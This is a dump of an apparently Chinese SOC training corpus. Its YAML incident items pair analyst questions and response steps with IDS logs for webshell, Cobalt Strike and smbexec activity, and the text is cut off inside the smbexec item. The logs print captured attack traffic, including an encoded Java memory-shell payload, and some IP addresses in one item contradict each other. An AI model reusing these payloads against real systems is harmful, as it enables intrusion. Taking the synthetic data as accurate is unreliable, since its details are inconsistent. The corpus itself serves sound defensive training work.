├── LICENSE
├── README.md
└── raw_corpus
├── BT
├── bt-003-webshell_upload_memory_shell.yaml
├── bt-004-cobaltstrike_beacon_http.yaml
└── bt-005-webshell_behinder_4_0.yaml
├── HT
├── ht-002-smbexec_remote_execution.yaml
├── ht-003-pystinger_tunnel_communication.yaml
├── ht-004-metasploit_payload_transmission.yaml
└── ht-005-neo_regeorg_tunnel_communication.yaml
├── IL
├── IL-002-web_root_directory_information_leakage.yaml
└── il-001-github_sensitive_information_leakage.yaml
├── MC
└── mc-001-mining_trojan_communication.yaml
├── README.md
├── VR
└── vr-001-exchange_proxylogon_cve_2021_27065.yaml
└── WA
├── wa-001-sql_injection_attack.yaml
├── wa-002-freemarker_template_injection.yaml
├── wa-003-python_unpickle_deserialization.yaml
└── wa-004-reverse_shell_attack.yaml
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2025 DeepSec
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # DeepSec 语料库
2 |
3 | 本仓库为 DeepSec 项目托管的开源中文网络安全运营语料库,包含原始语料文件、处理脚本和处理后的输出数据,旨在支持安全运营场景下的大模型训练。
4 |
5 | ## 目录结构
6 |
7 | - `raw_corpus/`:原始YAML格式语料文件,按类别组织(如:漏洞响应、后门木马、钓鱼攻击、信息泄露)。
8 | - `scripts/`:用于语料转换和验证的 Python 脚本。
9 | - `dataset/`:处理后的最终 CSV/Excel 文件,供模型训练使用。
10 | - `docs/`:贡献者指南和文档。
11 |
12 | ## 快速开始
13 |
14 | 1. 克隆仓库:`git clone https://github.com/deepsec-top/deepsec.git`
15 | 2. 阅读 `docs/corpus_guidelines.md` 了解贡献规则。
16 | 3. 按照 `docs/file_naming_convention.md` 中的命名规范,通过拉取请求提交语料数据。
17 |
18 | 参考示例[`raw_corpus/IL/il-001-github_sensitive_information_leakage.yaml`](raw_corpus/IL/il-001-github_sensitive_information_leakage.yaml)
19 |
20 | ## 语料类别
21 |
22 | - 漏洞响应 (`VR`):网络安全漏洞响应事件
23 | - 后门木马 (`BT`):后门木马事件
24 | - 钓鱼攻击 (`FA`):钓鱼攻击事件
25 | - 信息泄露 (`IL`):信息泄露事件
26 | - 黑客工具 (`HT`):黑客工具使用事件
27 | - 软件供应链 (`SC`):软件供应链事件
28 | - Web攻击 (`WA`):Web攻击事件
29 | - 其他 (`OT`):其他事件
30 | - 持续补充优化中...
31 |
32 |
33 | ## 许可证
34 |
35 | MIT 许可证,详见 [`LICENSE`](LICENSE) 文件。
36 |
37 | ## 联系方式
38 |
39 | 邮箱:admin@deepsec.top
40 | 网站:[DeepSec 官网](https://deepsec.top)
41 | 加入社区:[DeepSec 社区](#)
--------------------------------------------------------------------------------
/raw_corpus/BT/bt-003-webshell_upload_memory_shell.yaml:
--------------------------------------------------------------------------------
1 | - ID: bt-003
2 | Category: 后门木马
3 | Created_At: 2025-04-29
4 | Contributors:
5 | - FOOL
6 | Additional_Info: |
7 | - 额外的补充信息放到这里
8 | Title_CN: 后门木马-webshell-上传内存马通信
9 | Title_EN: backdoor-webshell_upload_memory_shell
10 | Question: |
11 | 请以SOC团队的指挥官身份,评估并决策以下安全事件:
12 | - 背景信息:攻击者通过POST请求,试图上传并执行一个名为 `shell4.jsp` 的恶意Webshell。该请求包含了大量的恶意负载,并且响应状态为200,表明请求成功。
13 | - 背景信息:该请求来源于 `110.10.19.119`,目标是 `172.19.12.6`,涉及到的协议为HTTP,且请求中包含了与内存马相关的流量。
14 | - 事件信息
15 | - 系统: Web应用(Java)
16 | - 攻击类型: Webshell探测
17 | - 来源IP: '110.10.19.119'
18 | - 目标IP: '172.19.12.6'
19 | - 请求方式: 'POST'
20 | - 请求路径: '/shell4.jsp'
21 | - 响应状态: '200'
22 |
23 | Complex_CoT: |
24 | 1. 确认目标Web应用是否存在上传漏洞,特别是针对文件上传的安全性评估。
25 | 2. 分析请求中包含的恶意代码,确认是否有Webshell被成功上传并执行。
26 | 3. 检查目标服务器的访问日志,排查是否有其他异常请求或重复访问行为。
27 | 4. 评估攻击者是否通过该漏洞获得了敏感数据或执行了其他恶意操作。
28 | 5. 检查服务器上是否有异常的进程或服务在运行,确认是否存在后门或持久化机制。
29 | 6. 复查是否存在任何敏感数据被访问或导出的记录,评估潜在信息泄露风险。
30 |
31 | Response: |
32 | 1. 立即隔离受影响的Web服务器(172.19.12.6),中断外部访问流量。
33 | 2. 审核该Web应用的文件上传功能,全面修复上传漏洞,更新到安全版本。
34 | 3. 分析响应内容及请求参数,确认是否有恶意代码被执行,必要时进行取证。
35 | 4. 回溯分析攻击时间点前后的日志,识别是否存在持久化机制或横向行为。
36 | 5. 利用威胁情报封禁110.10.19.119来源IP,检查是否命中已知攻击者活动轨迹。
37 | 6. 重新部署WAF与IDS策略,对疑似Webshell攻击路径增加高优先级告警。
38 | 7. 建议对全网Web应用资产开展基线扫描和统一补丁加固,防止类似攻击再次发生。
39 |
40 |
41 | Log Sample: |
42 | ```
43 | {
44 | "sendHostAddress": "10.9.45.124",
45 | "transProtocol": "TCP",
46 | "appProtocol": "http",
47 | "srcAddress": "110.10.19.119",
48 | "srcPort": "20033",
49 | "srcMacAddress": "8C-94-6A-79-80-99",
50 | "destMacAddress": "00-00-5E-00-01-02",
51 | "destAddress": "172.19.12.6",
52 | "destPort": "5678",
53 | "deviceAddress": "10.9.45.124",
54 | "eventCount": "1",
55 | "srcGeoCountry": "中国",
56 | "srcGeoLongitude": "116.401159",
57 | "srcGeoLatitude": "39.902798",
58 | "destGeoCountry": "中国",
59 | "destGeoRegion": "上海",
60 | "destGeoCity": "上海",
61 | "direction": "10",
62 | "attackerAddress": "srcAddress",
63 | "victimAddress": "destAddress",
64 | "attackDirection": "1",
65 | "attacker": ["110.10.19.119"],
66 | "victim": ["172.19.12.6"],
67 | "srcSecurityZone": "outer",
68 | "logType": "alert",
69 | "dataType": "ids",
70 | "dataSubType": "attackAlert",
71 | "catOutcome": "OK",
72 | "catTechnique": "/Code/ShellCommand",
73 | "severity": "7",
74 | "startTime": "2025-04-08 22:15:15",
75 | "endTime": "2025-04-08 22:15:15",
76 | "deviceReceiptTime": "2025-04-08 22:15:15",
77 | "collectorReceiptTime": "2025-04-08 22:15:15",
78 | "ruleName": "检测到利用黑客工具上传内存马通信",
79 | "ruleType": "/WebAttack/WebshellRequest",
80 | "alarmType": "WEB 后门访问 ->WEBSHELL 探测",
81 | "requestMethod": "POST",
82 | "requestUrlQuery": "/shell4.jsp",
83 | "requestUrl": "/shell4.jsp",
84 | "requestHeader": "POST /shell4.jsp HTTP/1.1
85 | Host: 211.136.166.51:5678
86 | User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
87 | Content-Length: 6301
88 | Connection: close
89 | Content-Type: application/x-www-form-urlencoded
90 | Cookie: Line-Id=c8c66cf0bc4718a645b0e698d13f056f700a774eb7dda16ab2dd36364ee89dbbc6727dcbfd75536340844c013f2a2bbdf171c8a8ca079528dea515cd11e46aba
91 | Accept-Encoding: gzip
92 | ",
93 | "requestBody": "qSjvpaYH=yv66vgAAADEBCQoAOQB4CQBbAHkJAFsAeggAewkAWwB8CAB9CQBbAH4IAH8JAFsAgAoAWwCBBwCCCgALAHgIAIMIAIQIAIUIAIYLADMAhwsAMgCICwAzAIgLADIAiQoAWwCKCQBbAIsKAFsAjAoACwCNBwCOBwCPCgAaAHgIAJAKABoAkQoAGQCSCgAaAJILADMAkwoACwCSCgBbAJQKAJUAlggAlwoAmACZCACaCACbCgBbAJwIAJ0IAJ4KAEkAnwoAoAChCgCgAJIKABoAogoAOQCjCgA3AKQHAKUHAKYHAKcIAKgKADcAqQgAqgcAqwoANwCsBwCtCgCuAK8IALAIAFwKADcAsQoAsgCzCgCyALQIAF4KAFsAtQcAtggAtwcAuAkAuQC6CgCuALMKADcAuwoAuQC8BwC9CgA3AL4KAL8AwAoAOQCSCgC5AMEKAEkAwgoASQDDCgBJAMQIAMUIAMYKAEkAxwgAyAgAyQoANwDKCAByCADLCADMCgA3AM0HAM4BAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAMcmFuZG9tUHJlZml4AQAQZGVjb2RlckNsYXNzZGF0YQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAtTeXNJbmZvQ29kZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAPV3d3Um9vdFBhdGhDb2RlAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAhwYXJzZU9iagEAFShMamF2YS9sYW5nL09iamVjdDspVgEACGFzb3V0cHV0AQAGZGVjb2RlAQAKRXhjZXB0aW9ucwEAEkJhc2U2NERlY29kZVRvQnl0ZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAApTb3VyY2VGaWxlAQAJSW5mby5qYXZhDABlAGYMAFwAXQwAXgBfAQAGYmFzZTY0DABgAGEBAARVVEY4DABiAGEBAAEyDABjAGEMAG8AcAEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIBAAc3ZjBhMzAyAQAMMjY3NDY3Mzc5NzczAQAOeGQ0MDVjYzU0MmRhZDMBAAl0ZXh0L2h0bWwMAM8A0AwA0QDQDADSAG4MAHIAbgwAZABhDABrAGwMANMA1AEAE2phdmEvbGFuZy9FeGNlcHRpb24BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEACUVSUk9SOi8vIAwA0wDVDADWAGwMANcA2AwAcQBuBwDZDADaANABAAh1c2VyLmRpcgcA2wwA3ABuAQAHb3MubmFtZQEACXVzZXIubmFtZQwAbQBuAQABCQEAAS8MAN0A3gcA3wwA4ADhDADTAOIMAOMA5AwA5QDmAQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAHWphdmF4LnNlcnZsZXQuanNwLlBhZ2VDb250ZXh0DADnAOgBAApnZXRSZXF1ZXN0AQAPamF2YS9sYW5nL0NsYXNzDADpAOoBABBqYXZhL2xhbmcvT2JqZWN0BwDrDADsAO0BAAtnZXRSZXNwb25zZQwA7gDvBwDwDADxAPIMAPMA9AwAdAB1AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQALZGVmaW5lQ2x",
94 | "responseHeader": "HTTP/1.1 200 OK
95 | Content-Length: 73
96 | Content-Type: text/html;charset=UTF8
97 | Date: Mon, 09 Aug 2021 03:49:59 GMT
98 | Set-Cookie: Line-Id=c8c66cf0bc4718a645b0e698d13f056f700a774eb7dda16ab2dd36364ee89dbbc6727dcbfd75536340844c013f2a2bbdf171c8a8ca079528dea515cd11e46aba; Path=/; Max-Age=10; HttpOnly
99 | Set-Cookie: JSESSIONID=6BC5DC60209B12F8E22AA61C5C2A0F7E; Path=/; HttpOnly
100 | Connection: close
101 | ",
102 | "responseMsg": "7f0a302/home/fairy/apache-tomcat-8.5.69/bin\x09/\x09Linux\x09fairy267467379773
103 | ",
104 | "responseCode": "200",
105 | "destHostName": "211.136.166.51:5678",
106 | "name": "检测到利用黑客工具上传内存马通信",
107 | "txId": "0",
108 | "confidence": "High",
109 | "httpVersion": "HTTP/1.1",
110 | "accessAgent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
111 | "attackStage": "3",
112 | "attackStatus": "1",
113 | "pcapRecord": "true",
114 | "tacticId": "TA0003",
115 | "techniquesId": "T1505",
116 | "subTechniquesId": "T1505.003",
117 | "message": "检测到利用黑客工具上传内存马通信。来源:110.10.19.119/20033, 目的:172.19.12.6/5678",
118 | "isAPT": "false",
119 | "killChain": "KC_CommandControl"
120 | }
121 | ```
--------------------------------------------------------------------------------
/raw_corpus/BT/bt-004-cobaltstrike_beacon_http.yaml:
--------------------------------------------------------------------------------
1 | - ID: bt-004
2 | Category: 后门木马
3 | Created_At: 2025-04-29
4 | Contributors:
5 | - FOOL
6 | Additional_Info: |
7 | - CobaltStrike Beacon HTTP通信检测
8 | - 典型的C2上线行为,需要重点关注
9 | Title_CN: 后门木马-CobaltStrike Beacon HTTP上线
10 | Title_EN: backdoor trojan - cobaltstrike beacon http
11 | Question: |
12 | 请以SOC团队的指挥官身份,评估并决策以下安全事件:
13 | - 组织背景:公有云主机环境,存在外部网络访问
14 | - 事件描述:检测到外部主机 101.20.10.14 使用HTTP协议访问内网主机 10.9.12.11 的路径 "/2cyN",目标端口为5679,返回状态码为200
15 | - 上下文:User-Agent 模拟常见浏览器特征(IE9),通信路径短小随机,响应类型为 application/octet-stream,符合CobaltStrike Beacon在上线阶段的通信特征
16 |
17 | 作为SOC团队的指挥官,请你对安全事件作出评估并决策。
18 | Complex_CoT: |
19 | 1. 关联该主机历史网络行为,确认是否存在周期性C2回连流量,判断Beacon间隔和模式。
20 | 2. 检查10.9.12.11主机是否存在未知启动项或与CobaltStrike相关的已知恶意模块。
21 | 3. 使用流量分析工具(NTA/IDS)回溯近1小时内该主机其他HTTP连接特征。
22 | 4. 对101.20.10.14进行情报分析,识别是否为已知CobaltStrike基础设施或云渗透节点。
23 | 5. 核查是否还有其他主机向同一目标或相似路径(如/2xxN)发送请求,判断横向控制范围。
24 | 6. 判断该Beacon是否进入任务执行阶段(Stage 2/3),分析是否伴随命令下发或模块加载行为。
25 | 7. 结合MITRE ATT&CK T1071/T1095/T1102等技术分析链条完整性,并评估是否已造成权限获取或数据泄露。
26 |
27 | Response: |
28 | 1. 临时隔离目标主机10.9.12.11,防止其继续与潜在C2服务器通信。
29 | 2. 对101.20.10.14配置临时封禁策略,防止后续流量接入。
30 | 3. 导出完整HTTP通信流量及日志,提供威胁情报分析与回溯。
31 | 4. 使用EDR产品对目标主机执行全面检查,定位Beacon implant位置。
32 | 5. 更新防火墙与WAF策略,增加该类短路径+CobaltStrike特征通信规则。
33 | 6. 对整个网段内有外联行为的主机进行异常检测,识别是否存在多节点控制风险。
34 | 7. 启动应急响应流程,对本次事件进行分级处置并开展复盘,修复相关安全配置缺陷。
35 |
36 | Log_Sample: |
37 | ```
38 | {
39 | "transProtocol": "TCP",
40 | "appProtocol": "http",
41 | "srcAddress": "101.20.10.14",
42 | "srcPort": "20014",
43 | "destAddress": "10.9.12.11",
44 | "destPort": "5679",
45 | "eventCount": "1",
46 | "direction": "10",
47 | "attackerAddress": "srcAddress",
48 | "victimAddress": "destAddress",
49 | "attackDirection": "1",
50 | "attacker": ["101.20.10.14"],
51 | "victim": ["10.9.12.11"],
52 | "srcSecurityZone": "outer",
53 | "logType": "alert",
54 | "catOutcome": "OK",
55 | "severity": "7",
56 | "startTime": "2025-04-08 23:13:12",
57 | "endTime": "2025-04-08 23:13:12",
58 | "deviceReceiptTime": "2025-04-08 23:13:12",
59 | "collectorReceiptTime": "2025-04-08 23:13:12",
60 | "ruleName": "检测到CobaltStrike上线(beacon-http)",
61 | "alarmType": "可疑流量->可疑流量",
62 | "requestMethod": "GET",
63 | "requestUrlQuery": "/2cyN",
64 | "requestUrl": "/2cyN",
65 | "requestHeader": "GET /2cyN HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ESES)
Host: 39.96.50.58:7777
Connection: Keep-Alive
Cache-Control: no-cache
",
66 | "responseHeader": "HTTP/1.1 200 OK
Date: Fri, 18 Nov 2022 12:40:11 GMT
Content-Type: application/octet-stream
Content-Length: 211034
",
67 | "responseCode": "200",
68 | "destHostName": "39.96.50.58:7777",
69 | "name": "检测到CobaltStrike上线(beacon-http)",
70 | "txId": "0",
71 | "confidence": "High",
72 | "httpVersion": "HTTP/1.1",
73 | "accessAgent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ESES)",
74 | "attackStage": "2",
75 | "attackStatus": "1",
76 | "pcapRecord": "true",
77 | "message": "检测到CobaltStrike上线(beacon-http). 来源:101.20.10.14/20014, 目的:10.9.12.11/5679",
78 | "isAPT": "false",
79 | "killChain": "KC_CommandControl"
80 | }
81 | ```
--------------------------------------------------------------------------------
/raw_corpus/BT/bt-005-webshell_behinder_4_0.yaml:
--------------------------------------------------------------------------------
1 | - ID: bt-005
2 | Category: 后门木马
3 | Created_At: 2025-04-29
4 | Contributors:
5 | - FOOL
6 | Additional_Info: |
7 | - 冰蝎4.0 PHP Webshell通信检测
8 | - 典型的Webshell后门通信行为
9 | Title_CN: 后门木马-冰蝎4.0 PHP Webshell通信
10 | Title_EN: backdoor trojan - behinder 4.0 php webshell
11 | Question: |
12 | 请以SOC团队的指挥官身份,评估并决策以下安全事件:
13 | - 组织背景:Web应用服务器环境,存在文件上传功能
14 | - 事件描述:攻击者通过POST请求,试图上传并执行一个名为 shell-xor-base64.php 的恶意Webshell,该请求包含了大量的恶意负载,响应状态为200,表明请求成功
15 | - 上下文:该请求来源于 110.10.19.119,目标是 172.19.12.6,涉及到的协议为HTTP,且请求中包含了与冰蝎4.0相关的流量特征
16 |
17 | 作为SOC团队的指挥官,请你对安全事件作出评估并决策。
18 | Complex_CoT: |
19 | 1. 确认目标Web应用是否存在上传漏洞,特别是针对文件上传的安全性评估。
20 | 2. 分析请求中包含的恶意代码,确认是否有Webshell被成功上传并执行。
21 | 3. 检查目标服务器的访问日志,排查是否有其他异常请求或重复访问行为。
22 | 4. 评估攻击者是否通过该漏洞获得了敏感数据或执行了其他恶意操作。
23 | 5. 检查服务器上是否有异常的进程或服务在运行,确认是否存在后门或持久化机制。
24 | 6. 复查是否存在任何敏感数据被访问或导出的记录,评估潜在信息泄露风险。
25 |
26 | Response: |
27 | 1. 立即隔离受影响的Web服务器(172.19.12.6),中断外部访问流量。
28 | 2. 审核该Web应用的文件上传功能,全面修复上传漏洞,更新到安全版本。
29 | 3. 分析响应内容及请求参数,确认是否有恶意代码被执行,必要时进行取证。
30 | 4. 回溯分析攻击时间点前后的日志,识别是否存在持久化机制或横向行为。
31 | 5. 利用威胁情报封禁110.10.19.119来源IP,检查是否命中已知攻击者活动轨迹。
32 | 6. 重新部署WAF与IDS策略,对疑似Webshell攻击路径增加高优先级告警。
33 | 7. 建议对全网Web应用资产开展基线扫描和统一补丁加固,防止类似攻击再次发生。
34 |
35 | Log_Sample: |
36 | ```
37 | {
38 | "sendHostAddress": "10.9.45.124",
39 | "transProtocol": "TCP",
40 | "appProtocol": "http",
41 | "srcAddress": "110.10.19.119",
42 | "srcPort": "20051",
43 | "srcMacAddress": "8C-94-6A-79-80-99",
44 | "destMacAddress": "00-00-5E-00-01-02",
45 | "destAddress": "172.19.12.6",
46 | "destPort": "5679",
47 | "deviceAddress": "10.9.45.124",
48 | "eventCount": "1",
49 | "srcGeoCountry": "中国",
50 | "srcGeoLongitude": "116.401159",
51 | "srcGeoLatitude": "39.902798",
52 | "destGeoCountry": "中国",
53 | "destGeoRegion": "上海",
54 | "destGeoCity": "上海",
55 | "direction": "10",
56 | "attackerAddress": "srcAddress",
57 | "victimAddress": "destAddress",
58 | "attackDirection": "1",
59 | "attacker": ["110.10.19.119"],
60 | "victim": ["172.19.12.6"],
61 | "srcSecurityZone": "outer",
62 | "logType": "alert",
63 | "dataType": "ids",
64 | "dataSubType": "attackAlert",
65 | "catOutcome": "OK",
66 | "catTechnique": "/Code/ShellCommand",
67 | "severity": "7",
68 | "startTime": "2025-04-08 23:15:42",
69 | "endTime": "2025-04-08 23:15:42",
70 | "deviceReceiptTime": "2025-04-08 23:15:42",
71 | "collectorReceiptTime": "2025-04-08 23:15:42",
72 | "ruleName": "检测到冰蝎4.0 通信流量(PHP)",
73 | "ruleType": "/WebAttack/WebshellRequest",
74 | "alarmType": "WEB后门访问->WEBSHELL 探测",
75 | "requestMethod": "POST",
76 | "requestUrlQuery": "/vul/unsafeupload/uploads/shell-xor-base64.php",
77 | "requestUrl": "/vul/unsafeupload/uploads/shell-xor-base64.php",
78 | "responseCode": "200",
79 | "destHostName": "39.96.50.58",
80 | "name": "检测到冰蝎4.0 通信流量(PHP)",
81 | "txId": "1",
82 | "confidence": "High",
83 | "httpVersion": "HTTP/1.1",
84 | "attackStage": "3",
85 | "attackStatus": "1",
86 | "pcapRecord": "true",
87 | "tacticId": "TA0003",
88 | "techniquesId": "T1505",
89 | "subTechniquesId": "T1505.003",
90 | "message": "检测到冰蝎4.0 通信流量(PHP). 来源:110.10.19.119/20051, 目的:172.19.12.6/5679",
91 | "isAPT": "false",
92 | "killChain": "KC_CommandControl"
93 | }
94 | ```
--------------------------------------------------------------------------------
/raw_corpus/HT/ht-002-smbexec_remote_execution.yaml:
--------------------------------------------------------------------------------
1 | - ID: ht-002
2 | Category: 黑客工具
3 | Created_At: 2025-04-29
4 | Contributors:
5 | - FOOL
6 | Additional_Info: |
7 | - 额外补充信息放到这里
8 | Title_CN: 黑客工具-smbexec执行远程命令
9 | Title_EN: hacker tool - smbexec remote execution
10 | Question: |
11 | 请以SOC团队的指挥官身份,评估并决策以下安全事件:
12 | - 背景信息:安全设备于2025-04-08 23:25检测到来自公网IP101.200.16.124向公司内网主机10.99.15.61发起 SMB 协议的远程命令执行行为。规则命中“检测到黑客工具impacket smbexec执行远程命令”。
13 | - 背景信息:日志payload包含svcctl,是smbexec依赖的远程服务控制器,且存在NTLMSSP身份验证字段,符合已知攻击特征。
14 | - 事件信息
15 | - 系统: 公司内网资产
16 | - 攻击类型: 横向移动-远程命令执行
17 | - 来源IP: '101.200.160.124'
18 | - 目标IP: '10.99.16.61'
19 | - 协议: 'SMB'
20 | - 目标端口: '5679'
21 | - 响应状态: '成功(catOutcome=OK)'
22 |
23 | Complex_CoT: |
24 | 1. 对受害主机 10.99.15.61 进行命令审计,确认是否执行过异常远程命令,检查审计日志、计划任务、注册表、服务启动项等。
25 | 2. 分析 SMB 日志中是否存在 NTLM 身份认证痕迹、IPC$共享会话记录、svcctl 服务远程启动字段,验证是否由 smbexec 工具发起。
26 | 3. 使用 NTA 或流量回溯工具还原数据包内容,分析 payload 中是否存在已知 impacket 工具通信签名(如:NTLMSSP, ADMIN-PC, svcctl, cifs)。
27 | 4. 追溯源IP在入侵前后的行为轨迹,包括是否存在其他主机访问尝试,判断是否为自动化横向扫描。
28 | 5. 调用内部威胁情报系统分析该攻击 IP(101.200.16.124)是否属于已知恶意攻击者,或存在其他攻击行为记录。
29 | 6. 若目标主机存在资产脆弱性,建议对该网段资产进行补丁管理或权限强化,防止类似攻击再次发生。
30 |
31 | Response: |
32 | 1. 临时隔离主机 10.99.15.61,防止进一步横向命令投递。
33 | 2. 在防火墙/IPS中封禁 101.200.160.124 的访问,并标记为已知攻击源。
34 | 3. 导出相关 SMB 通信日志及 payload,供安全分析人员进行深度取证。
35 | 4. 对 10.99.15.61 执行内存分析和系统完整性检测,确认是否有执行残留或后门部署。
36 | 5. 对同网段其他主机进行横向移动路径排查,检测是否存在同样攻击模式。
37 | 6. 在终端防护平台上更新 impacket smbexec 的检测规则,并强化 SMB 服务访问控制策略(如关闭不必要共享,启用强身份验证)。
38 | 7. 若发现凭据被窃取痕迹,建议触发企业级密码重置策略。
39 | 8. 汇报本次攻击事件,纳入 APT 演练/追踪机制并形成防御策略文档。
40 |
41 | Log Sample: |
42 | ```
43 | {
44 | "transProtocol": "TCP",
45 | "appProtocol": "smb",
46 | "srcAddress": "101.200.160.124",
47 | "srcPort": "20166",
48 | "destAddress": "10.99.15.61",
49 | "destPort": "5679",
50 | "eventCount": "1",
51 | "srcGeoCountry": "中国",
52 | "destGeoCountry": "中国",
53 | "destGeoRegion": "上海",
54 | "destGeoCity": "上海",
55 | "direction": "10",
56 | "attackerAddress": "srcAddress",
57 | "victimAddress": "destAddress",
58 | "attackDirection": "1",
59 | "attacker": ["101.200.160.124"],
60 | "victim": ["10.99.15.61"],
61 | "srcSecurityZone": "outer",
62 | "logType": "alert",
63 | "dataType": "ids",
64 | "dataSubType": "attackAlert",
65 | "catOutcome": "OK",
66 | "catTechnique": "/Code/Trojan",
67 | "severity": "7",
68 | "catSignificance": "/Informational/Alert",
69 | "eventId": "2504082325040000068147418690002",
70 | "startTime": "2025-04-08 23:25:04",
71 | "endTime": "2025-04-08 23:25:04",
72 | "deviceReceiptTime": "2025-04-08 23:25:04",
73 | "collectorReceiptTime": "2025-04-08 23:25:04",
74 | "ruleName": "检测到黑客工具impacket smbexec执行远程命令",
75 | "ruleType": "/LateralMov/RemoteExec",
76 | "alarmType": "远程控制->横向执行",
77 | "payload": "...E.SMBr............................\"..NT LM 0.12..SMB 2.002..SMB 2.???....j.SMB@...........................................................$.......@...AsyQfkjAUJnFEQro...................SMB@.......................................................................X.B.........`@..+......604..0..
+.....7..
.\". NTLMSSP..............................SMB@.......................................................................X.2.............0..*...&...\"NTLMSSP.........\\.......t.......@...
.
.R.......\\.......\".......W.O.R.K.G.R.O.U.P.a.d.m.i.n..[..p&...Q......UQoyivEQ...R.m..5...ny..................UQoyivEQ........A.D.M.I.N.-.P.C.....A.D.M.I.N.-.P.C.....A.d.m.i.n.-.P.C.....A.d.m.i.n.-.P.C.................c.i.f.s./.A.D.M.I.N.-.P.C............n.SMB@...............................................................H.&.\\.\\.1.7.2...1.6...1.3...8.1.\\.I.P.C.$......SMB@...........................................................9.......................................@...x...........s.v.c.c.t.l......SMB@.",
